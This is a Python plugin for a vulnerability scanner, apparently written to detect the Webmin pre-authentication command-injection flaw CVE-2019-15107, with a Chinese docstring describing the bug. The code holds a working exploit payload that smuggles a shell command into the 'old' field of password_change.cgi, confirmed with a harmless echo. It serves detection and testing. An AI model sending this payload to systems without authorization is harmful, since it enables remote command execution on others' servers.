#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Webmin Pre-Auth 远程代码执行
    CVE-2019-15107
        Payload: https://vulhub.org/#/environments/webmin/CVE-2019-15107/

该漏洞存在于密码重置页面(password_change.cgi)
    允许未经身份验证的用户通过简单的POST请求执行任意命令
    当用户开启Webmin密码重置功能后,
        攻击者可以通过发送POST请求在目标系统中执行任意命令, 且无需身份验证。
'''

from lib.tool.md5 import random_md5
from lib.tool import check
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {
                'path': 'password_change.cgi',
                'data': 'user=rootxx&pam=&expired=2&old=test|{RCECOMMAND}&new1=test2&new2=test2'
            },
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        
        vul_info = {
            'app_name': 'Webmin',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2019-15107',
        }

        headers = {
            'Referer': '{}/session_login.cgi'.format(client.protocol_domain)
        }

        for payload in self.payloads:
            randomStr = random_md5()
            RCEcommand = 'echo ' + randomStr
            
            path = payload['path']
            data = payload['data'].format(RCECOMMAND=RCEcommand)

            res = client.request(
                'post',
                path,
                data=data,
                headers=headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (check.check_res(res.text, randomStr)):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
